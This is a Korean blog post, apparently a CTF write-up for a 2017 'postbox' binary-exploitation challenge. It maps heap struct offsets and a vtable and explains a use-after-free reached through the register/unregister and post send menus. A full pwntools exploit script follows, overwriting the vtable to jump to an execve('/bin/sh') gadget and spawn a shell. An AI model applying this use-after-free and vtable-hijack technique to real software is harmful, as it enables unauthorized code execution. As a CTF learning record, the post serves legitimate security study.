total info

+0 post나 register info덩어리 주소

+24 다음 덩어리


덩어리 주소

+0 인덱스 post register info구분~~


user register

+0 0x6d10c8(vtable) -> register끝나고 createpost할때 바뀜 0x6d1090

+8 (0x8) name(12)

createpost할때 0x10 0x6d10a0

+24(0x18) phone number(15)

+40(0x28) zip code(7)

+56(0x38) address(90)

+176(0xb0) 0x6d10d8





**** register할때는 post할떄 totalinfo에 적용되는 꼴이 똑같다. 즉 같은 모양으로 저장된다. 둘다 크기는 240 

구조체를 보니 post의 vtable함수들이 전부 저장되어있다.!? 이걸잘 덮어쓰면 pc조작이 가능할 거 같다.

totlainfo의 구조체는 최대 수용이 4개까지고 넘어가면 linked list로 넘어간다. 



이때 register unregister과 post create send를 잘 섞으면 uaf가 터져서 eip컨트롤이 가능하다.

취약점은 send하고. unregister할때 이 두 데이터를 구분을 잘 못해줘서 register로 post데이터를 덮을수 있다. change메뉴를 덮어서 트리거 할 수 있다.


0x41297f가 mov rdi binsh syscall execve가 있는 장소인데

rdx가 안맞아서 잘 안됐다.

근데 그냥 두드리던 중에 [rdx+8]에 있는 주소가 readable하면 rdx가 널이 아니더라도 쉘이 따졌다...

ㅇㅁㅇ ㅇ마튼 풀어서 기분 좋긴한데 이문제는 뭔가 디버깅하다가 얻어걸린게 많아서 정확하게 클래스 분석도 해봐야겠다. 




from pwn import *

r=process('./postbox')
raw_input()

def register(name,phone,zip,address):
	r.sendlineafter('->','1')
	r.sendlineafter('->',name)
	r.sendlineafter('->',phone)
	r.sendlineafter('->',zip)
	r.sendlineafter('->',address)

def unregister():
	r.sendlineafter('->','1')
	r.sendlineafter('->','Y')
def create(kind,price,name,recp_name,phone,recp_zip,recp_addr,delivery):
	r.sendlineafter('->','2')
	r.sendlineafter('->',kind)
	r.sendlineafter('->',price)
	r.sendlineafter('->',name)
	r.sendlineafter('->',recp_name)
	r.sendlineafter('->',phone)
	r.sendlineafter('->',recp_zip)
	r.sendlineafter('->',recp_addr)
	r.sendlineafter('->',delivery)
def change(ind,menu,cont):
	r.sendlineafter('->','3')
	r.sendlineafter('->',menu)
	r.sendlineafter('->',cont)
	r.sendlineafter('5')
def send(ind):
	r.sendlineafter('->','4')
	r.sendlineafter('->',ind)


register('A','A','A','A')

create('1','1','1','1','1','1','1','1')
create('2','2','2','2','2','2','2','2')

send('1')
send('1')
unregister()
register('3333','4444','5555','6666')
unregister()
register('\xa0\x10\x6d','\x7f\x29\x41','DDDD','EEEE')
#register("\x7f\x29\x41","\x7f\x29\x41","\x7f\x29\x41","\x7f\x29\x41")

unregister()
r.sendline('3')
r.sendline('2')
r.sendline('2')
r.interactive()


'CTF' 카테고리의 다른 글

[codegate 17 final]BMP  (0) 2017.05.14
[defcon prequal 2017]magic  (0) 2017.05.12
[codegate 2017 final]real  (0) 2017.05.09
[codegate 2017 prequal]meow  (0) 2017.05.09
[codegate17 prequal]Goversing  (0) 2017.05.08

+ Recent posts